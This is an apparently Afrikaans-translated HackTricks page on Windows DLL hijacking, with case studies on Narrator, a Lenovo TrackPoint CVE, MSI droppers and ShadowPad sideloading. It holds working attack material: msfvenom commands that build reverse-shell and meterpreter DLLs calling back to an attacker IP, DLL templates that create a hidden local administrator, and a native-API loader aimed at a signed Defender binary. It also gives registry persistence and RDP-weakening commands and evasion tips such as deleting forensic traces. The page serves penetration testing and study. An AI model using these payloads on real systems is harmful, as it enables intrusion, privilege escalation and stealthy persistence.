Dll Hijacking
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
DLL Hijacking behels die manipulasie van ân betroubare toepassing om ân kwaadwillige DLL te laai. Hierdie term omsluit verskeie taktieke soos DLL Spoofing, Injection, and Side-Loading. Dit word hoofsaaklik gebruik vir code execution, om persistence te bereik, en, minder algemeen, privilege escalation. Alhoewel die fokus hier op privilege escalation is, bly die metode van hijacking konstant oor verskillende doelwitte.
Algemene Tegnieke
Verskeie metodes word gebruik vir DLL hijacking, elkeen met sy effektiwiteit afhangend van die toepassing se DLL-laaistrategie:
- DLL Replacement: Vervang ân egte DLL met ân kwaadwillige een, opsioneel deur DLL Proxying te gebruik om die oorspronklike DLL se funksionaliteit te behou.
- DLL Search Order Hijacking: Plaas die kwaadwillige DLL in ân soekpad wat voor die regmatige een kom, wat die toepassing se soekpatroon misbruik.
- Phantom DLL Hijacking: Skep ân kwaadwillige DLL wat ân toepassing gaan laai omdat dit dink dit is ân vereiste DLL wat nie bestaan nie.
- DLL Redirection: Verander soekparameters soos %PATH% of .exe.manifest / .exe.local lĂȘers om die toepassing na die kwaadwillige DLL te lei.
- WinSxS DLL Replacement: Vervang die regmatige DLL met ân kwaadwillige eksemplaar in die WinSxS gids, ân metode dikwels geassosieer met DLL side-loading.
- Relative Path DLL Hijacking: Plaas die kwaadwillige DLL in ân gebruiker-beheerde gids saam met die gekopieerde toepassing, wat ooreenstem met Binary Proxy Execution tegnieke.
Tip
Vir ân stapsgewyse ketting wat HTML staging, AES-CTR configs, en .NET implants bo-op DLL sideloading laer, sien die werkvloei hieronder.
Advanced Html Staged Dll Sideloading
Om ontbrekende Dlls te vind
Die mees algemene manier om ontbrekende Dlls binne ân stelsel te vind is om procmon van sysinternals te laat loop en die volgende 2 filters te stel:
.png)
.png)
en net die File System Activity te wys:
.png)
As jy op soek is na missing dlls in general laat jy dit hierdie proses vir ân paar sekondes loop.
As jy op soek is na ân missing dll inside an specific executable moet jy ân ander filter soos âProcess Nameâ âcontainsâ <exec name> stel, dit uitvoer, en dan die vaslegging stop om gebeure te analiseer.
Exploiting Missing Dlls
Om privileges te escalate is die beste kans om ân dll te skryf wat ân privilege process sal probeer laai in een van die plekke waar dit gaan gesoek word. Dus sal ons in staat wees om ân dll te skryf in ân gids waar die dll gesoek word voor die gids waar die oorspronklike dll is (vreemde geval), of ons sal in staat wees om op ân gids te skryf waar die dll gesoek gaan word en die oorspronklike dll nie op enige gids bestaan nie.
Dll Search Order
Inside the Microsoft documentation you can find how the Dlls are loaded specifically.
Windows-toepassings soek vir DLLs deur ân stel voorafgedefinieerde soekpade te volg, in ân bepaalde volgorde. Die probleem van DLL hijacking ontstaan wanneer ân kwaadwillige DLL strategies in een van hierdie gidse geplaas word, sodat dit voor die egte DLL gelaai word. ân Oplossing om dit te voorkom is om te verseker dat die toepassing absolute paths gebruik wanneer dit na die DLLs verwys wat dit benodig.
Jy kan die DLL search order op 32-bit stelsels hieronder sien:
- The directory from which the application loaded.
- The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
- The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
- The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
- (C:\Windows)
- The current directory.
- The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.
Dit is die standaard soekorde met SafeDllSearchMode geaktiveer. Wanneer dit gedeaktiveer is, verplaas die huidige gids na tweede plek. Om hierdie funksie te deaktiveer, skep die HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registerwaarde en stel dit op 0 (standaard is geaktiveer).
As die LoadLibraryEx funksie met LOAD_WITH_ALTERED_SEARCH_PATH aangeroep word, begin die soektog in die gids van die uitvoerbare module wat LoadLibraryEx laai.
Laastens, let daarop dat ân dll gelaai kan word deur die absolute pad aan te dui in plaas van slegs die naam. In daardie geval gaan daardie dll slegs in daardie pad gesoek word (as die dll enige afhanklikhede het, gaan hulle gesoek word soos normaalweg gelaai deur naam).
Daar is ander maniere om die soekorde te verander maar ek gaan hulle nie hier verduidelik nie.
Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
ân Gevorderde manier om die DLL-soekpad van ân nuut geskepte proses deterministies te beĂŻnvloed is om die DllPath veld in RTL_USER_PROCESS_PARAMETERS te stel wanneer die proses geskep word met ntdll se native APIs. Deur ân aanvaller-beheerde gids hier te verskaf, kan ân teikenproses wat ân geĂŻmporteerde DLL per naam oplos (geen absolute pad en nie die safe loading flags gebruik nie) gedwing word om ân kwaadwillige DLL uit daardie gids te laai.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
Volledige C-voorbeeld: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
```c #include// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; âi) if (out[i-1] == Lâ\â) { out[i-1] = 0; break; } }
int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = Lâ\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exeâ;
// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, Lâ"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"â); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateProcessParametersExâ); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(Lântdll.dllâ), âRtlCreateUserProcessâ);
RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here) return 0; }
</details>
Operational usage example
- Plaas 'n kwaadwillige xmllite.dll (exporting the required functions or proxying to the real one) in jou DllPath-gids.
- Start 'n ondertekende binaire wat bekend is daarvoor om xmllite.dll per naam te soek met bogenoemde tegniek. Die loader los die import op via die verskafte DllPath en sideloads jou DLL.
Hierdie tegniek is in die natuur waargeneem om multi-stage sideloading chains aan te dryf: 'n aanvanklike launcher laat 'n helper DLL val, wat dan 'n Microsoft-signed, hijackable binary spawn met 'n aangepaste DllPath om die laaiing van die aanvaller se DLL vanaf 'n staging directory af te dwing.
#### Uitsonderings op DLL-soekorde volgens Windows-dokumentasie
Sekere uitsonderings op die standaard DLL-soekorde word in Windows-dokumentasie aangeteken:
- Wanneer 'n **DLL wat dieselfde naam deel as een wat reeds in geheue gelaai is** teengekom word, omseil die stelsel die normale soektog. In plaas daarvan voer dit 'n kontrole vir redirection en 'n manifest uit voordat dit op die DLL wat reeds in geheue is terugval. **In hierdie scenario voer die stelsel nie 'n soektog vir die DLL uit nie**.
- In gevalle waar die DLL as 'n **known DLL** vir die huidige Windows-weergawe herken word, sal die stelsel sy weergawe van die bekende DLL gebruik, tesame met enige van sy afhanklike DLL's, **sonder die soekproses**. Die register sleutel **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** bevat 'n lys van hierdie bekende DLLs.
- As 'n **DLL afhanklikhede het**, word die soektog na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul **module names** aangedui is, ongeag of die aanvanklike DLL deur 'n volle pad geĂŻdentifiseer is.
### Privilegie-eskalering
**Vereistes**:
- Identifiseer 'n proses wat onder **verskillende privilegieë** sal of werk (horizontal or lateral movement), wat **nie 'n DLL het nie**.
- Verseker dat **skryf toegang** beskikbaar is vir enige **gids** waarin die **DLL** gaan **gesoek word**. Hierdie ligging kan die gids van die uitvoerbare lĂȘer wees of 'n gids binne die stelselpad.
Ja, die vereistes is moeilik om te vind aangesien dit **by default nogal vreemd is om 'n geprivilegieerde uitvoerbare lĂȘer te vind wat 'n DLL mis** en dit is selfs **vreemder om skryfregte op 'n stelselpad-lĂȘergids te hĂȘ** (jy kan dit nie standaard hĂȘ nie). Maar in wanopgestelde omgewings is dit moontlik.\
In die geval dat jy gelukkig is en aan die vereistes voldoen, kan jy die [UACME](https://github.com/hfiref0x/UACME) projek nagaan. Selfs al is die **main goal of the project is bypass UAC**, mag jy daar 'n **PoC** van 'n Dll hijaking vir die Windows-weergawe vind wat jy kan gebruik (waarskynlik net deur die pad van die gids waarin jy skryfregte het te verander).
Let wel dat jy jou **toegangsregte in 'n gids kan nagaan** deur:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
En kontroleer toestemmings van alle vouers binne PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Jy kan ook die imports van ân executable en die exports van ân dll nagaan met:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
Vir ân volledige gids oor hoe om abuse Dll Hijacking to escalate privileges met toestemmings om te skryf in ân System Path folder kyk:
Writable Sys Path +Dll Hijacking Privesc
Outomatiese gereedskap
Winpeas sal nagaan of jy skryfpermissies het op enige gids binne system PATH.
Ander interessante outomatiese gereedskap om hierdie kwesbaarheid te ontdek is PowerSploit funksies: Find-ProcessDLLHijack, Find-PathDLLHijack en Write-HijackDll.
Voorbeeld
As jy ân uitbuitbare scenario vind, een van die belangrikste dinge om dit suksesvol te misbruik is om ân dll te skep wat minstens al die funksies eksporteer wat die uitvoerbare program daarvandaan sal invoer. Let wel, Dll Hijacking is handig om escalate from Medium Integrity level to High (bypassing UAC) of van High Integrity to SYSTEM. Jy kan ân voorbeeld vind van how to create a valid dll binne hierdie dll hijacking-studie gefokus op dll hijacking vir uitvoering: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Verder, in die volgende afdeling kan jy ân paar basiese dll-kodes vind wat nuttig kan wees as sjablone of om ân dll te skep wat nie-verpligte funksies eksporteer.
Skep en kompileer Dlls
Dll Proksifisering
Basies is ân Dll proxy ân Dll wat jou kwaadwillige kode kan uitvoer wanneer dit gelaai word, maar ook kan blootstel en werk soos verwag deur al die oproepe na die werklike biblioteek te herlei.
Met die hulpmiddel DLLirant of Spartacus kan jy eintlik ân executable aandui en die biblioteek kies wat jy wil proxify en ân proxified dll genereer of die Dll aandui en ân proxified dll genereer.
Meterpreter
Kry rev shell (x64):
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Kry ân meterpreter (x86):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
Skep ân gebruiker (x86 ek het nie ân x64-weergawe gesien nie):
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
Jou eie
Let wel dat in verskeie gevalle die Dll wat jy kompileer moet verskeie funksies exporteer wat deur die victim process gelaai gaan word. As hierdie funksies nie bestaan nie, sal die binary dit nie kan laai nie en sal die exploit misluk.
C DLL template (Win10)
```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(âcmd.exe /k net localgroup administrators user /addâ); ExitProcess(0); } return TRUE; }
<details>
<summary>C++ DLL-voorbeeld met gebruikersaanmaak</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
Alternatiewe C DLL met thread entry
```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll#include<windows.h> #include<stdlib.h> #include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded system(âcmdâ); }
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }
</details>
## Gevallestudie: Narrator OneCore TTS Localization DLL Hijack (Toeganklikheid/ATs)
Windows Narrator.exe ondersoek steeds 'n voorspelbare, taalspesifieke lokalisasie DLL by opstart wat ge-hijack kan word vir arbitrary code execution and persistence.
Belangrike feite
- Bespeurde pad (huidige builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy pad (ouer builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- As 'n skryfbare, deur 'n aanvaller beheerde DLL by die OneCore-pad bestaan, word dit gelaai en `DllMain(DLL_PROCESS_ATTACH)` uitgevoer. Geen exports word benodig nie.
Ontdekking met Procmon
- Filter: `Process Name is Narrator.exe` en `Operation is Load Image` of `CreateFile`.
- Start Narrator en let op die poging om bogenoemde pad te laai.
Minimale DLL
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}
OPSEC stilte
- ân naĂŻewe hijack sal die UI laat praat/uitlig. Om stil te bly, wanneer jy koppel, enumereer Narrator-drade, open die hoofdraad (
OpenThread(THREAD_SUSPEND_RESUME)) enSuspendThreaddit; gaan voort in jou eie draad. Sien PoC vir volle kode.
Trigger en persistentheid via Accessibility-konfigurasie
- Gebruikerskonteks (HKCU):
reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Winlogon/SYSTEM (HKLM):
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f - Met bogenoemde sal die begin van Narrator die geplante DLL laai. Op die secure desktop (aanmeldskerm), druk CTRL+WIN+ENTER om Narrator te begin.
RDP-geaktiveerde SYSTEM-uitvoering (laterale beweging)
- Skakel klassieke RDP-sekuriteitslaag toe:
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f - RDP na die gasheer; by die aanmeldskerm druk CTRL+WIN+ENTER om Narrator te begin; jou DLL word as SYSTEM op die secure desktop uitgevoer.
- Die uitvoering stop wanneer die RDP-sessie sluit â injekteer/migreer vinnig.
Bring Your Own Accessibility (BYOA)
- Jy kan ân ingeboude Accessibility Tool (AT) registerinskrywing kloon (bv. CursorIndicator), dit wysig om na ân ewekansige binary/DLL te wys, dit invoer, en dan
configurationop daardie AT-naam stel. Dit bied ân proxy vir ewekansige uitvoering onder die Accessibility-framework.
Aantekeninge
- Skryf onder
%windir%\System32en die verandering van HKLM-waardes vereis administrateurregte. - Alle payload-logika kan in
DLL_PROCESS_ATTACHleef; geen exports is nodig nie.
Gevalstudie: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
Hierdie geval demonstreer Phantom DLL Hijacking in Lenovo se TrackPoint Quick Menu (TPQMAssistant.exe), gedokumenteer as CVE-2025-1729.
Kwesbaarheidsbesonderhede
- Komponent:
TPQMAssistant.exegeleë byC:\ProgramData\Lenovo\TPQM\Assistant\. - Geskeduleerde taak:
Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTaskloop daagliks om 9:30 AM onder die konteks van die aangemelde gebruiker. - Gidspermissies: Skryfbaar deur
CREATOR OWNER, wat plaaslike gebruikers toelaat om ewekansige lĂȘers te plaas. - DLL-soekgedrag: Probeer eers om
hostfxr.dlluit sy werkgids te laai en log âNAME NOT FOUNDâ indien dit ontbreek, wat aandui dat die plaaslike gids voorkeur geniet.
Exploit-implementering
ân Aanvaller kan ân kwaadwillige hostfxr.dll-stub in dieselfde gids plaas, wat die ontbrekende DLL misbruik om kode-uitvoering onder die gebruiker se konteks te verkry:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
Aanvalsverloop
- As ân standaardgebruiker, plaas
hostfxr.dllinC:\ProgramData\Lenovo\TPQM\Assistant\. - Wag dat die geskeduleerde taak om 9:30 AM onder die huidige gebruiker se konteks uitgevoer word.
- As ân administrateur aangemeld is wanneer die taak uitgevoer word, sal die kwaadwillige DLL in die administrateur se sessie op medium integrity loop.
- Koppel standaard UAC bypass-tegnieke om vanaf medium integrity tot SYSTEM privileges te eskaleer.
Gevalstudie: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)
Aanvallers kombineer dikwels MSI-based droppers met DLL side-loading om payloads uit te voer onder ân vertroude, signed process.
Chain overview
- Gebruiker laai MSI af. ân CustomAction voer stilweg uit tydens die GUI-installasie (bv. LaunchApplication of ân VBScript-aksie), en bou die volgende fase op uit ingebedde hulpbronne.
- Die dropper skryf ân wettige, signed EXE en ân kwaadwillige DLL na dieselfde gids (voorbeeldpaar: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
- Wanneer die signed EXE gestarteer word, laai die Windows DLL search order eers wsc.dll vanaf die working directory, wat aanvallerkode onder ân signed parent uitvoer (ATT&CK T1574.001).
MSI analysis (what to look for)
- CustomAction-tabel:
- Soek na inskrywings wat uitvoerbare lĂȘers of VBScript uitvoer. Voorbeeld van ân verdagte patroon: LaunchApplication wat ân ingebedde lĂȘer in die agtergrond uitvoer.
- In Orca (Microsoft Orca.exe), ondersoek CustomAction, InstallExecuteSequence en Binary-tabelle.
- Ingebedde/gespliste payloads in die MSI CAB:
- Administrative extract: msiexec /a package.msi /qb TARGETDIR=C:\out
- Or use lessmsi: lessmsi x package.msi C:\out
- Soek na meerdere klein fragmente wat gekonkateneer en gedekripteer word deur ân VBScript CustomAction. Algemene vloei:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)
Praktiese sideloading met wsc_proxy.exe
- Plaas hierdie twee lĂȘers in dieselfde gids:
- wsc_proxy.exe: legitieme gesigneerde host (Avast). Die proses probeer wsc.dll per naam uit sy gids laai.
- wsc.dll: attacker DLL. As geen spesifieke exports vereis word nie, kan DllMain volstaan; anders bou ân proxy DLL en stuur die vereiste exports na die egte biblioteek terwyl die payload in DllMain uitgevoer word.
- Bou ân minimale DLL-payload:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
-
Vir exportvereistes, gebruik ân proxying framework (bv., DLLirant/Spartacus) om ân forwarding DLL te genereer wat ook jou payload uitvoer.
-
Hierdie tegniek berus op DLL name resolution deur die host-binary. As die host absolute paths of safe loading flags gebruik (bv., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), kan die hijack misluk.
-
KnownDLLs, SxS, en forwarded exports kan precedensie beĂŻnvloed en moet oorweeg word tydens die keuse van die host binary en export set.
Ondertekende triades + encrypted payloads (ShadowPad case study)
Check Point het beskryf hoe Ink Dragon ShadowPad ontplooi deur ân drie-lĂȘer triade te gebruik om tussen regmatige sagteware in te meng terwyl die kern payload op skyf geĂ«nkripteer bly:
- Ondertekende host EXE â verskaffers soos AMD, Realtek, of NVIDIA word misbruik (
vncutil64.exe,ApplicationLogs.exe,msedge_proxyLog.exe). Die aanvallers hernoem die uitvoerbare lĂȘer om soos ân Windows-binary te lyk (bv.conhost.exe), maar die Authenticode-handtekening bly geldig. - Kwaadaardige loader DLL â neergesit langs die EXE met ân verwagte naam (
vncutil64loc.dll,atiadlxy.dll,msedge_proxyLogLOC.dll). Die DLL is gewoonlik ân MFC binary wat met die ScatterBrain framework obfuskeer is; sy enigste taak is om die geĂ«nkripteerde blob te vind, dit te dekripteer, en ShadowPad reflectively te map. - GeĂ«nkripteerde payload blob â dikwels gestoor as
<name>.tmpin dieselfde gids. Na memory-mapping van die gedekripteerde payload, verwyder die loader die TMP-lĂȘer om forensiese bewyse te vernietig.
Handelstegniek notas:
- Deur die ondertekende EXE te hernoem (terwyl die oorspronklike
OriginalFileNamein die PE header behou word) kan dit as ân Windows-binary voortsdoen maar steeds die verskaffer-handtekening behou; repliseer dus Ink Dragon se gewoonte omconhost.exe-agtige binaries neer te sit wat eintlik AMD/NVIDIA-hulpmiddels is. - Aangesien die uitvoerbare lĂȘer vertrou bly, benodig meeste allowlisting-beheer slegs dat jou kwaadwillige DLL langsaan sit. Fokus op die aanpassing van die loader DLL; die ondertekende ouer kan tipies onaangeraak loop.
- ShadowPad se decryptor verwag dat die TMP-blob langs die loader woon en skryfbaar is sodat dit die lĂȘer kan zero maak nadat dit gemap is. Hou die gids skryfbaar totdat die payload laai; sodra dit in geheue is kan die TMP-lĂȘer veilig uitgevee word vir OPSEC.
References
- CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
- Microsoft Store - TPQM Assistant UWP
- https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
- https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
- Check Point Research â Nimbus Manticore Deploys New Malware Targeting Europe
- TrustedSec â Hack-cessibility: When DLL Hijacks Meet Windows Helpers
- PoC â api0cradle/Narrator-dll
- Sysinternals Process Monitor
- Unit 42 â Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
- Check Point Research â Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

